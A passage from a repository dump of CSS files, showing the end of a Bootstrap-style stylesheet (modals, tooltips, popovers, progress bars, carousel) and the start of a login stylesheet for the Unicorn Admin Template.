| opacity:0 3140 | } 3141 | .modal-backdrop,.modal-backdrop.fade.in { 3142 | opacity:.8; 3143 | filter:alpha(opacity=80) 3144 | } 3145 | .modal { 3146 | position:fixed; 3147 | top:65%; 3148 | left:50%; 3149 | z-index:1050; 3150 | width:560px; 3151 | margin:-250px 0 0 -280px; 3152 | background-color:#fff; 3153 | border:1px solid #999; 3154 | border:1px solid rgba(0,0,0,0.3); 3155 | *border:1px solid #999; 3156 | -webkit-border-radius:6px; 3157 | -moz-border-radius:6px; 3158 | border-radius:6px; 3159 | outline:0; 3160 | -webkit-box-shadow:0 3px 7px rgba(0,0,0,0.3); 3161 | -moz-box-shadow:0 3px 7px rgba(0,0,0,0.3); 3162 | box-shadow:0 3px 7px rgba(0,0,0,0.3); 3163 | -webkit-background-clip:padding-box; 3164 | -moz-background-clip:padding-box; 3165 | background-clip:padding-box 3166 | } 3167 | .modal.fade { 3168 | top:-25%; 3169 | -webkit-transition:opacity .3s linear,top .3s ease-out; 3170 | -moz-transition:opacity .3s linear,top .3s ease-out; 3171 | -o-transition:opacity .3s linear,top .3s ease-out; 3172 | transition:opacity .3s linear,top .3s ease-out 3173 | } 3174 | .modal.fade.in { 3175 | top:50% 3176 | } 3177 | .modal-header { 3178 | padding:9px 15px; 3179 | border-bottom:1px solid #eee 3180 | } 3181 | .modal-header .close { 3182 | margin-top:2px 3183 | } 3184 | .modal-header h3 { 3185 | margin:0; 3186 | line-height:30px 3187 | } 3188 | .modal-body { 3189 | max-height:400px; 3190 | padding:15px; 3191 | overflow-y:auto 3192 | } 3193 | .modal-form { 3194 | margin-bottom:0 3195 | } 3196 | .modal-footer { 3197 | padding:14px 15px 15px; 3198 | margin-bottom:0; 3199 | text-align:right; 3200 | background-color:#f5f5f5; 3201 | border-top:1px solid #ddd; 3202 | -webkit-border-radius:0 0 6px 6px; 3203 | -moz-border-radius:0 0 6px 6px; 3204 | border-radius:0 0 6px 6px; 3205 | *zoom:1; 3206 | -webkit-box-shadow:inset 0 1px 0 #fff; 3207 | -moz-box-shadow:inset 0 1px 0 #fff; 3208 | box-shadow:inset 0 1px 0 #fff 3209 | } 3210 | .modal-footer:before,.modal-footer:after { 3211 | display:table; 3212 | line-height:0; 3213 | content:"" 3214 | } 3215 | .modal-footer:after { 3216 | clear:both 3217 | } 3218 | .modal-footer .btn+.btn { 3219 | margin-bottom:0; 3220 | margin-left:5px 3221 | } 3222 | .modal-footer .btn-group .btn+.btn { 3223 | margin-left:-1px 3224 | } 3225 | .modal-footer .btn-block+.btn-block { 3226 | margin-left:0 3227 | } 3228 | .tooltip { 3229 | position:absolute; 3230 | z-index:1030; 3231 | display:block; 3232 | padding:5px; 3233 | font-size:11px; 3234 | opacity:0; 3235 | filter:alpha(opacity=0); 3236 | visibility:visible 3237 | } 3238 | .tooltip.in { 3239 | opacity:.8; 3240 | filter:alpha(opacity=80) 3241 | } 3242 | .tooltip.top { 3243 | margin-top:-3px 3244 | } 3245 | .tooltip.right { 3246 | margin-left:3px 3247 | } 3248 | .tooltip.bottom { 3249 | margin-top:3px 3250 | } 3251 | .tooltip.left { 3252 | margin-left:-3px 3253 | } 3254 | .tooltip-inner { 3255 | max-width:200px; 3256 | padding:3px 8px; 3257 | color:#fff; 3258 | text-align:center; 3259 | text-decoration:none; 3260 | background-color:#000; 3261 | -webkit-border-radius:4px; 3262 | -moz-border-radius:4px; 3263 | border-radius:4px 3264 | } 3265 | .tooltip-arrow { 3266 | position:absolute; 3267 | width:0; 3268 | height:0; 3269 | border-color:transparent; 3270 | border-style:solid 3271 | } 3272 | .tooltip.top .tooltip-arrow { 3273 | bottom:0; 3274 | left:50%; 3275 | margin-left:-5px; 3276 | border-top-color:#000; 3277 | border-width:5px 5px 0 3278 | } 3279 | .tooltip.right .tooltip-arrow { 3280 | top:50%; 3281 | left:0; 3282 | margin-top:-5px; 3283 | border-right-color:#000; 3284 | border-width:5px 5px 5px 0 3285 | } 3286 | .tooltip.left .tooltip-arrow { 3287 | top:50%; 3288 | right:0; 3289 | margin-top:-5px; 3290 | border-left-color:#000; 3291 | border-width:5px 0 5px 5px 3292 | } 3293 | .tooltip.bottom .tooltip-arrow { 3294 | top:0; 3295 | left:50%; 3296 | margin-left:-5px; 3297 | border-bottom-color:#000; 3298 | border-width:0 5px 5px 3299 | } 3300 | .popover { 3301 | position:absolute; 3302 | top:0; 3303 | left:0; 3304 | z-index:1010; 3305 | display:none; 3306 | width:236px; 3307 | padding:1px; 3308 | background-color:#fff; 3309 | border:1px solid #ccc; 3310 | border:1px solid rgba(0,0,0,0.2); 3311 | -webkit-border-radius:6px; 3312 | -moz-border-radius:6px; 3313 | border-radius:6px; 3314 | -webkit-box-shadow:0 5px 10px rgba(0,0,0,0.2); 3315 | -moz-box-shadow:0 5px 10px rgba(0,0,0,0.2); 3316 | box-shadow:0 5px 10px rgba(0,0,0,0.2); 3317 | -webkit-background-clip:padding-box; 3318 | -moz-background-clip:padding; 3319 | background-clip:padding-box 3320 | } 3321 | .popover.top { 3322 | margin-top:-10px 3323 | } 3324 | .popover.right { 3325 | margin-left:10px 3326 | } 3327 | .popover.bottom { 3328 | margin-top:10px 3329 | } 3330 | .popover.left { 3331 | margin-left:-10px 3332 | } 3333 | .popover-title { 3334 | padding:8px 14px; 3335 | margin:0; 3336 | font-size:14px; 3337 | font-weight:normal; 3338 | line-height:18px; 3339 | background-color:#f7f7f7; 3340 | border-bottom:1px solid #ebebeb; 3341 | -webkit-border-radius:5px 5px 0 0; 3342 | -moz-border-radius:5px 5px 0 0; 3343 | border-radius:5px 5px 0 0 3344 | } 3345 | .popover-content { 3346 | padding:9px 14px 3347 | } 3348 | .popover-content p,.popover-content ul,.popover-content ol { 3349 | margin-bottom:0 3350 | } 3351 | .popover .arrow,.popover .arrow:after { 3352 | position:absolute; 3353 | display:inline-block; 3354 | width:0; 3355 | height:0; 3356 | border-color:transparent; 3357 | border-style:solid 3358 | } 3359 | .popover .arrow:after { 3360 | z-index:-1; 3361 | content:"" 3362 | } 3363 | .popover.top .arrow { 3364 | bottom:-10px; 3365 | left:50%; 3366 | margin-left:-10px; 3367 | border-top-color:#fff; 3368 | border-width:10px 10px 0 3369 | } 3370 | .popover.top .arrow:after { 3371 | bottom:-1px; 3372 | left:-11px; 3373 | border-top-color:rgba(0,0,0,0.25); 3374 | border-width:11px 11px 0 3375 | } 3376 | .popover.right .arrow { 3377 | top:50%; 3378 | left:-10px; 3379 | margin-top:-10px; 3380 | border-right-color:#fff; 3381 | border-width:10px 10px 10px 0 3382 | } 3383 | .popover.right .arrow:after { 3384 | bottom:-11px; 3385 | left:-1px; 3386 | border-right-color:rgba(0,0,0,0.25); 3387 | border-width:11px 11px 11px 0 3388 | } 3389 | .popover.bottom .arrow { 3390 | top:-10px; 3391 | left:50%; 3392 | margin-left:-10px; 3393 | border-bottom-color:#fff; 3394 | border-width:0 10px 10px 3395 | } 3396 | .popover.bottom .arrow:after { 3397 | top:-1px; 3398 | left:-11px; 3399 | border-bottom-color:rgba(0,0,0,0.25); 3400 | border-width:0 11px 11px 3401 | } 3402 | .popover.left .arrow { 3403 | top:50%; 3404 | right:-10px; 3405 | margin-top:-10px; 3406 | border-left-color:#fff; 3407 | border-width:10px 0 10px 10px 3408 | } 3409 | .popover.left .arrow:after { 3410 | right:-1px; 3411 | bottom:-11px; 3412 | border-left-color:rgba(0,0,0,0.25); 3413 | border-width:11px 0 11px 11px 3414 | } 3415 | .thumbnails { 3416 | margin-left:-20px; 3417 | list-style:none; 3418 | *zoom:1 3419 | } 3420 | .thumbnails:before,.thumbnails:after { 3421 | display:table; 3422 | line-height:0; 3423 | content:"" 3424 | } 3425 | .thumbnails:after { 3426 | clear:both 3427 | } 3428 | .row-fluid .thumbnails { 3429 | margin-left:0 3430 | } 3431 | .thumbnails>li { 3432 | float:left; 3433 | margin-bottom:20px; 3434 | margin-left:20px 3435 | } 3436 | .thumbnail { 3437 | display:block; 3438 | padding:4px; 3439 | line-height:20px; 3440 | border:1px solid #ddd; 3441 | -webkit-border-radius:4px; 3442 | -moz-border-radius:4px; 3443 | border-radius:4px; 3444 | -webkit-box-shadow:0 1px 3px rgba(0,0,0,0.055); 3445 | -moz-box-shadow:0 1px 3px rgba(0,0,0,0.055); 3446 | box-shadow:0 1px 3px rgba(0,0,0,0.055); 3447 | -webkit-transition:all .2s ease-in-out; 3448 | -moz-transition:all .2s ease-in-out; 3449 | -o-transition:all .2s ease-in-out; 3450 | transition:all .2s ease-in-out 3451 | } 3452 | a.thumbnail:hover { 3453 | border-color:#08c; 3454 | -webkit-box-shadow:0 1px 4px rgba(0,105,214,0.25); 3455 | -moz-box-shadow:0 1px 4px rgba(0,105,214,0.25); 3456 | box-shadow:0 1px 4px rgba(0,105,214,0.25) 3457 | } 3458 | .thumbnail>img { 3459 | display:block; 3460 | max-width:100%; 3461 | margin-right:auto; 3462 | margin-left:auto 3463 | } 3464 | .thumbnail .caption { 3465 | padding:9px; 3466 | color:#555 3467 | } 3468 | .media,.media-body { 3469 | overflow:hidden; 3470 | *overflow:visible; 3471 | zoom:1 3472 | } 3473 | .media,.media .media { 3474 | margin-top:15px 3475 | } 3476 | .media:first-child { 3477 | margin-top:0 3478 | } 3479 | .media-object { 3480 | display:block 3481 | } 3482 | .media-heading { 3483 | margin:0 0 5px 3484 | } 3485 | .media .pull-left { 3486 | margin-right:10px 3487 | } 3488 | .media .pull-right { 3489 | margin-left:10px 3490 | } 3491 | .media-list { 3492 | margin-left:0; 3493 | list-style:none 3494 | } 3495 | .label,.badge { 3496 | display:inline-block; 3497 | padding:2px 4px; 3498 | font-size:11.844px; 3499 | font-weight:bold; 3500 | line-height:14px; 3501 | color:#fff; 3502 | text-shadow:0 -1px 0 rgba(0,0,0,0.25); 3503 | white-space:nowrap; 3504 | vertical-align:baseline; 3505 | background-color:#999 3506 | } 3507 | .label { 3508 | -webkit-border-radius:3px; 3509 | -moz-border-radius:3px; 3510 | border-radius:3px 3511 | } 3512 | .badge { 3513 | padding-right:9px; 3514 | padding-left:9px; 3515 | -webkit-border-radius:9px; 3516 | -moz-border-radius:9px; 3517 | border-radius:9px 3518 | } 3519 | a.label:hover,a.badge:hover { 3520 | color:#fff; 3521 | text-decoration:none; 3522 | cursor:pointer 3523 | } 3524 | .label-important,.badge-important { 3525 | background-color:#b94a48 3526 | } 3527 | .label-important[href],.badge-important[href] { 3528 | background-color:#953b39 3529 | } 3530 | .label-warning,.badge-warning { 3531 | background-color:#f89406 3532 | } 3533 | .label-warning[href],.badge-warning[href] { 3534 | background-color:#c67605 3535 | } 3536 | .label-success,.badge-success { 3537 | background-color:#468847 3538 | } 3539 | .label-success[href],.badge-success[href] { 3540 | background-color:#356635 3541 | } 3542 | .label-info,.badge-info { 3543 | background-color:#3a87ad 3544 | } 3545 | .label-info[href],.badge-info[href] { 3546 | background-color:#2d6987 3547 | } 3548 | .label-inverse,.badge-inverse { 3549 | background-color:#333 3550 | } 3551 | .label-inverse[href],.badge-inverse[href] { 3552 | background-color:#1a1a1a 3553 | } 3554 | .btn .label,.btn .badge { 3555 | position:relative; 3556 | top:-1px 3557 | } 3558 | .btn-mini .label,.btn-mini .badge { 3559 | top:0 3560 | } 3561 | @-webkit-keyframes progress-bar-stripes { 3562 | from { 3563 | background-position:40px 0 3564 | } 3565 | to { 3566 | background-position:0 0 3567 | } 3568 | }@-moz-keyframes progress-bar-stripes { 3569 | from { 3570 | background-position:40px 0 3571 | } 3572 | to { 3573 | background-position:0 0 3574 | } 3575 | }@-ms-keyframes progress-bar-stripes { 3576 | from { 3577 | background-position:40px 0 3578 | } 3579 | to { 3580 | background-position:0 0 3581 | } 3582 | }@-o-keyframes progress-bar-stripes { 3583 | from { 3584 | background-position:0 0 3585 | } 3586 | to { 3587 | background-position:40px 0 3588 | } 3589 | }@keyframes progress-bar-stripes { 3590 | from { 3591 | background-position:40px 0 3592 | } 3593 | to { 3594 | background-position:0 0 3595 | } 3596 | }.progress { 3597 | height:20px; 3598 | margin-bottom:20px; 3599 | overflow:hidden; 3600 | background-color:#f7f7f7; 3601 | background-image:-moz-linear-gradient(top,#f5f5f5,#f9f9f9); 3602 | background-image:-webkit-gradient(linear,0 0,0 100%,from(#f5f5f5),to(#f9f9f9)); 3603 | background-image:-webkit-linear-gradient(top,#f5f5f5,#f9f9f9); 3604 | background-image:-o-linear-gradient(top,#f5f5f5,#f9f9f9); 3605 | background-image:linear-gradient(to bottom,#f5f5f5,#f9f9f9); 3606 | background-repeat:repeat-x; 3607 | -webkit-border-radius:4px; 3608 | -moz-border-radius:4px; 3609 | border-radius:4px; 3610 | filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff5f5f5',endColorstr='#fff9f9f9',GradientType=0); 3611 | -webkit-box-shadow:inset 0 1px 2px rgba(0,0,0,0.1); 3612 | -moz-box-shadow:inset 0 1px 2px rgba(0,0,0,0.1); 3613 | box-shadow:inset 0 1px 2px rgba(0,0,0,0.1) 3614 | } 3615 | .progress .bar { 3616 | float:left; 3617 | width:0; 3618 | height:100%; 3619 | font-size:12px; 3620 | color:#fff; 3621 | text-align:center; 3622 | text-shadow:0 -1px 0 rgba(0,0,0,0.25); 3623 | background-color:#0e90d2; 3624 | background-image:-moz-linear-gradient(top,#149bdf,#0480be); 3625 | background-image:-webkit-gradient(linear,0 0,0 100%,from(#149bdf),to(#0480be)); 3626 | background-image:-webkit-linear-gradient(top,#149bdf,#0480be); 3627 | background-image:-o-linear-gradient(top,#149bdf,#0480be); 3628 | background-image:linear-gradient(to bottom,#149bdf,#0480be); 3629 | background-repeat:repeat-x; 3630 | filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff149bdf',endColorstr='#ff0480be',GradientType=0); 3631 | -webkit-box-shadow:inset 0 -1px 0 rgba(0,0,0,0.15); 3632 | -moz-box-shadow:inset 0 -1px 0 rgba(0,0,0,0.15); 3633 | box-shadow:inset 0 -1px 0 rgba(0,0,0,0.15); 3634 | -webkit-box-sizing:border-box; 3635 | -moz-box-sizing:border-box; 3636 | box-sizing:border-box; 3637 | -webkit-transition:width .6s ease; 3638 | -moz-transition:width .6s ease; 3639 | -o-transition:width .6s ease; 3640 | transition:width .6s ease 3641 | } 3642 | .progress .bar+.bar { 3643 | -webkit-box-shadow:inset 1px 0 0 rgba(0,0,0,0.15),inset 0 -1px 0 rgba(0,0,0,0.15); 3644 | -moz-box-shadow:inset 1px 0 0 rgba(0,0,0,0.15),inset 0 -1px 0 rgba(0,0,0,0.15); 3645 | box-shadow:inset 1px 0 0 rgba(0,0,0,0.15),inset 0 -1px 0 rgba(0,0,0,0.15) 3646 | } 3647 | .progress-striped .bar { 3648 | background-color:#149bdf; 3649 | background-image:-webkit-gradient(linear,0 100%,100% 0,color-stop(0.25,rgba(255,255,255,0.15)),color-stop(0.25,transparent),color-stop(0.5,transparent),color-stop(0.5,rgba(255,255,255,0.15)),color-stop(0.75,rgba(255,255,255,0.15)),color-stop(0.75,transparent),to(transparent)); 3650 | background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent); 3651 | background-image:-moz-linear-gradient(45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent); 3652 | background-image:-o-linear-gradient(45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent); 3653 | background-image:linear-gradient(45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent); 3654 | -webkit-background-size:40px 40px; 3655 | -moz-background-size:40px 40px; 3656 | -o-background-size:40px 40px; 3657 | background-size:40px 40px 3658 | } 3659 | .progress.active .bar { 3660 | -webkit-animation:progress-bar-stripes 2s linear infinite; 3661 | -moz-animation:progress-bar-stripes 2s linear infinite; 3662 | -ms-animation:progress-bar-stripes 2s linear infinite; 3663 | -o-animation:progress-bar-stripes 2s linear infinite; 3664 | animation:progress-bar-stripes 2s linear infinite 3665 | } 3666 | .progress-danger .bar,.progress .bar-danger { 3667 | background-color:#dd514c; 3668 | background-image:-moz-linear-gradient(top,#ee5f5b,#c43c35); 3669 | background-image:-webkit-gradient(linear,0 0,0 100%,from(#ee5f5b),to(#c43c35)); 3670 | background-image:-webkit-linear-gradient(top,#ee5f5b,#c43c35); 3671 | background-image:-o-linear-gradient(top,#ee5f5b,#c43c35); 3672 | background-image:linear-gradient(to bottom,#ee5f5b,#c43c35); 3673 | background-repeat:repeat-x; 3674 | filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffee5f5b',endColorstr='#ffc43c35',GradientType=0) 3675 | } 3676 | .progress-danger.progress-striped .bar,.progress-striped .bar-danger { 3677 | background-color:#ee5f5b; 3678 | background-image:-webkit-gradient(linear,0 100%,100% 0,color-stop(0.25,rgba(255,255,255,0.15)),color-stop(0.25,transparent),color-stop(0.5,transparent),color-stop(0.5,rgba(255,255,255,0.15)),color-stop(0.75,rgba(255,255,255,0.15)),color-stop(0.75,transparent),to(transparent)); 3679 | background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent); 3680 | background-image:-moz-linear-gradient(45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent); 3681 | background-image:-o-linear-gradient(45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent); 3682 | background-image:linear-gradient(45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent) 3683 | } 3684 | .progress-success .bar,.progress .bar-success { 3685 | background-color:#5eb95e; 3686 | background-image:-moz-linear-gradient(top,#62c462,#57a957); 3687 | background-image:-webkit-gradient(linear,0 0,0 100%,from(#62c462),to(#57a957)); 3688 | background-image:-webkit-linear-gradient(top,#62c462,#57a957); 3689 | background-image:-o-linear-gradient(top,#62c462,#57a957); 3690 | background-image:linear-gradient(to bottom,#62c462,#57a957); 3691 | background-repeat:repeat-x; 3692 | filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff62c462',endColorstr='#ff57a957',GradientType=0) 3693 | } 3694 | .progress-success.progress-striped .bar,.progress-striped .bar-success { 3695 | background-color:#62c462; 3696 | background-image:-webkit-gradient(linear,0 100%,100% 0,color-stop(0.25,rgba(255,255,255,0.15)),color-stop(0.25,transparent),color-stop(0.5,transparent),color-stop(0.5,rgba(255,255,255,0.15)),color-stop(0.75,rgba(255,255,255,0.15)),color-stop(0.75,transparent),to(transparent)); 3697 | background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent); 3698 | background-image:-moz-linear-gradient(45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent); 3699 | background-image:-o-linear-gradient(45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent); 3700 | background-image:linear-gradient(45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent) 3701 | } 3702 | .progress-info .bar,.progress .bar-info { 3703 | background-color:#4bb1cf; 3704 | background-image:-moz-linear-gradient(top,#5bc0de,#339bb9); 3705 | background-image:-webkit-gradient(linear,0 0,0 100%,from(#5bc0de),to(#339bb9)); 3706 | background-image:-webkit-linear-gradient(top,#5bc0de,#339bb9); 3707 | background-image:-o-linear-gradient(top,#5bc0de,#339bb9); 3708 | background-image:linear-gradient(to bottom,#5bc0de,#339bb9); 3709 | background-repeat:repeat-x; 3710 | filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5bc0de',endColorstr='#ff339bb9',GradientType=0) 3711 | } 3712 | .progress-info.progress-striped .bar,.progress-striped .bar-info { 3713 | background-color:#5bc0de; 3714 | background-image:-webkit-gradient(linear,0 100%,100% 0,color-stop(0.25,rgba(255,255,255,0.15)),color-stop(0.25,transparent),color-stop(0.5,transparent),color-stop(0.5,rgba(255,255,255,0.15)),color-stop(0.75,rgba(255,255,255,0.15)),color-stop(0.75,transparent),to(transparent)); 3715 | background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent); 3716 | background-image:-moz-linear-gradient(45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent); 3717 | background-image:-o-linear-gradient(45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent); 3718 | background-image:linear-gradient(45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent) 3719 | } 3720 | .progress-warning .bar,.progress .bar-warning { 3721 | background-color:#faa732; 3722 | background-image:-moz-linear-gradient(top,#fbb450,#f89406); 3723 | background-image:-webkit-gradient(linear,0 0,0 100%,from(#fbb450),to(#f89406)); 3724 | background-image:-webkit-linear-gradient(top,#fbb450,#f89406); 3725 | background-image:-o-linear-gradient(top,#fbb450,#f89406); 3726 | background-image:linear-gradient(to bottom,#fbb450,#f89406); 3727 | background-repeat:repeat-x; 3728 | filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fffbb450',endColorstr='#fff89406',GradientType=0) 3729 | } 3730 | .progress-warning.progress-striped .bar,.progress-striped .bar-warning { 3731 | background-color:#fbb450; 3732 | background-image:-webkit-gradient(linear,0 100%,100% 0,color-stop(0.25,rgba(255,255,255,0.15)),color-stop(0.25,transparent),color-stop(0.5,transparent),color-stop(0.5,rgba(255,255,255,0.15)),color-stop(0.75,rgba(255,255,255,0.15)),color-stop(0.75,transparent),to(transparent)); 3733 | background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent); 3734 | background-image:-moz-linear-gradient(45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent); 3735 | background-image:-o-linear-gradient(45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent); 3736 | background-image:linear-gradient(45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent) 3737 | } 3738 | .accordion { 3739 | margin-bottom:20px 3740 | } 3741 | .accordion-group { 3742 | margin-bottom:2px; 3743 | border:1px solid #e5e5e5; 3744 | -webkit-border-radius:4px; 3745 | -moz-border-radius:4px; 3746 | border-radius:4px 3747 | } 3748 | .accordion-heading { 3749 | border-bottom:0 3750 | } 3751 | .accordion-heading .accordion-toggle { 3752 | display:block; 3753 | padding:8px 15px 3754 | } 3755 | .accordion-toggle { 3756 | cursor:pointer 3757 | } 3758 | .accordion-inner { 3759 | padding:9px 15px; 3760 | border-top:1px solid #e5e5e5 3761 | } 3762 | .carousel { 3763 | position:relative; 3764 | margin-bottom:20px; 3765 | line-height:1 3766 | } 3767 | .carousel-inner { 3768 | position:relative; 3769 | width:100%; 3770 | overflow:hidden 3771 | } 3772 | .carousel .item { 3773 | position:relative; 3774 | display:none; 3775 | -webkit-transition:.6s ease-in-out left; 3776 | -moz-transition:.6s ease-in-out left; 3777 | -o-transition:.6s ease-in-out left; 3778 | transition:.6s ease-in-out left 3779 | } 3780 | .carousel .item>img { 3781 | display:block; 3782 | line-height:1 3783 | } 3784 | .carousel .active,.carousel .next,.carousel .prev { 3785 | display:block 3786 | } 3787 | .carousel .active { 3788 | left:0 3789 | } 3790 | .carousel .next,.carousel .prev { 3791 | position:absolute; 3792 | top:0; 3793 | width:100% 3794 | } 3795 | .carousel .next { 3796 | left:100% 3797 | } 3798 | .carousel .prev { 3799 | left:-100% 3800 | } 3801 | .carousel .next.left,.carousel .prev.right { 3802 | left:0 3803 | } 3804 | .carousel .active.left { 3805 | left:-100% 3806 | } 3807 | .carousel .active.right { 3808 | left:100% 3809 | } 3810 | .carousel-control { 3811 | position:absolute; 3812 | top:40%; 3813 | left:15px; 3814 | width:40px; 3815 | height:40px; 3816 | margin-top:-20px; 3817 | font-size:60px; 3818 | font-weight:100; 3819 | line-height:30px; 3820 | color:#fff; 3821 | text-align:center; 3822 | background:#222; 3823 | border:3px solid #fff; 3824 | -webkit-border-radius:23px; 3825 | -moz-border-radius:23px; 3826 | border-radius:23px; 3827 | opacity:.5; 3828 | filter:alpha(opacity=50) 3829 | } 3830 | .carousel-control.right { 3831 | right:15px; 3832 | left:auto 3833 | } 3834 | .carousel-control:hover { 3835 | color:#fff; 3836 | text-decoration:none; 3837 | opacity:.9; 3838 | filter:alpha(opacity=90) 3839 | } 3840 | .carousel-caption { 3841 | position:absolute; 3842 | right:0; 3843 | bottom:0; 3844 | left:0; 3845 | padding:15px; 3846 | background:#333; 3847 | background:rgba(0,0,0,0.75) 3848 | } 3849 | .carousel-caption h4,.carousel-caption p { 3850 | line-height:20px; 3851 | color:#fff 3852 | } 3853 | .carousel-caption h4 { 3854 | margin:0 0 5px 3855 | } 3856 | .carousel-caption p { 3857 | margin-bottom:0 3858 | } 3859 | .hero-unit { 3860 | padding:60px; 3861 | margin-bottom:30px; 3862 | font-size:18px; 3863 | font-weight:200; 3864 | line-height:30px; 3865 | color:inherit; 3866 | background-color:#eee; 3867 | -webkit-border-radius:6px; 3868 | -moz-border-radius:6px; 3869 | border-radius:6px 3870 | } 3871 | .hero-unit h1 { 3872 | margin-bottom:0; 3873 | font-size:60px; 3874 | line-height:1; 3875 | letter-spacing:-1px; 3876 | color:inherit 3877 | } 3878 | .hero-unit li { 3879 | line-height:30px 3880 | } 3881 | .pull-right { 3882 | float:right 3883 | } 3884 | .pull-left { 3885 | float:left 3886 | } 3887 | .hide { 3888 | display:none 3889 | } 3890 | .show { 3891 | display:block 3892 | } 3893 | .invisible { 3894 | visibility:hidden 3895 | } 3896 | .affix { 3897 | position:fixed 3898 | } 3899 | -------------------------------------------------------------------------------- /展示端/Adminpanel/css/unicorn.login.css: -------------------------------------------------------------------------------- 1 | /** 2 | * Unicorn Admin Template 3 | * Diablo9983 -> diablo9983@gmail.com 4 | **/ 5 | html, body { 6 | width: 100%; 7 | height: 100%; 8 | overflow:hidden; 9 | } 10 | body { 11 | background-color: #444444; 12 | background-image: -webkit-gradient(linear, 0 0%, 0 100%, from(#555555), to(#111111)); 13 | background-image: -webkit-linear-gradient(top, #555555 0%, #111111 100%); 14 | background-image: -moz-linear-gradient(top, #555555 0%, #111111 100%); 15 | background-image: -ms-linear-gradient(top, #555555 0%, #111111 100%); 16 | background-image: -o-linear-gradient(top, #555555 0%, #111111 100%); 17 | background-image: linear-gradient(top, #555555 0%, #111111 100%); 18 | padding: 0; 19 | margin: 0; 20 | } 21 | .box {text-align: center; font-family: Tahoma, Geneva, sans-serif; font-size: 13px; width: 550px; margin-right: auto; margin-left: auto; padding: 1px; color: #000000; background-color: #FFFFFF; text-shadow: 0 1px 0 rgba(255,255,255,255);border-radius: 4px;} 22 | .box #title { background-color: #d9edf7; height: 30px; text-align: left; line-height: 30px; font-size: 13px; margin: 0px; padding-left: 10px; border-bottom-width: 1px; border-bottom-style: solid; border-bottom-color: #FFFFFF; } 23 | .box #close a{ margin-left:460px; text-decoration:none;} 24 | .box #content { background-color: #FFF; color: #666666; padding: 50px 0; border-radius: 0px 0px 4px 4px; text-shadow: 0 1px 0 rgba(255,255,255,255);} 25 | .box #content p { font-size: 16px; margin: 0; padding: 0; } 26 | .box #content input[type="text"]{ margin-top:10px; width:300px;} 27 | .box #content p a {font-size: 16px; margin-top: 15px; color: #09F; text-decoration: none; } 28 | .box #content p a:hover { color: #F33; text-decoration: underline; } 29 | #logo, #loginbox, #adminloginbox, #admineditbox { 30 | width: 400px; 31 | margin-left: auto; 32 | margin-right: auto; 33 | position: relative; 34 | } 35 | #logo { 36 | padding: 20px 0 20px 5px; 37 | } 38 | #logo img { 39 | width: 215px; 40 | margin: 0 auto; 41 | display: block; 42 | } 43 | #loginbox { 44 | height: 196px; 45 | background: #ffffff; 46 | box-shadow: 0 0 4px #000000; 47 | border-radius: 7px; 48 | overflow: hidden !important; 49 | text-align: center; 50 | position: relative; 51 | } 52 | #adminloginbox { 53 | height: 240px; 54 | background: #ffffff; 55 | box-shadow: 0 0 4px #000000; 56 | border-radius: 7px; 57 | overflow: hidden !important; 58 | text-align: center; 59 | position: relative; 60 | } 61 | #admineditbox{ 62 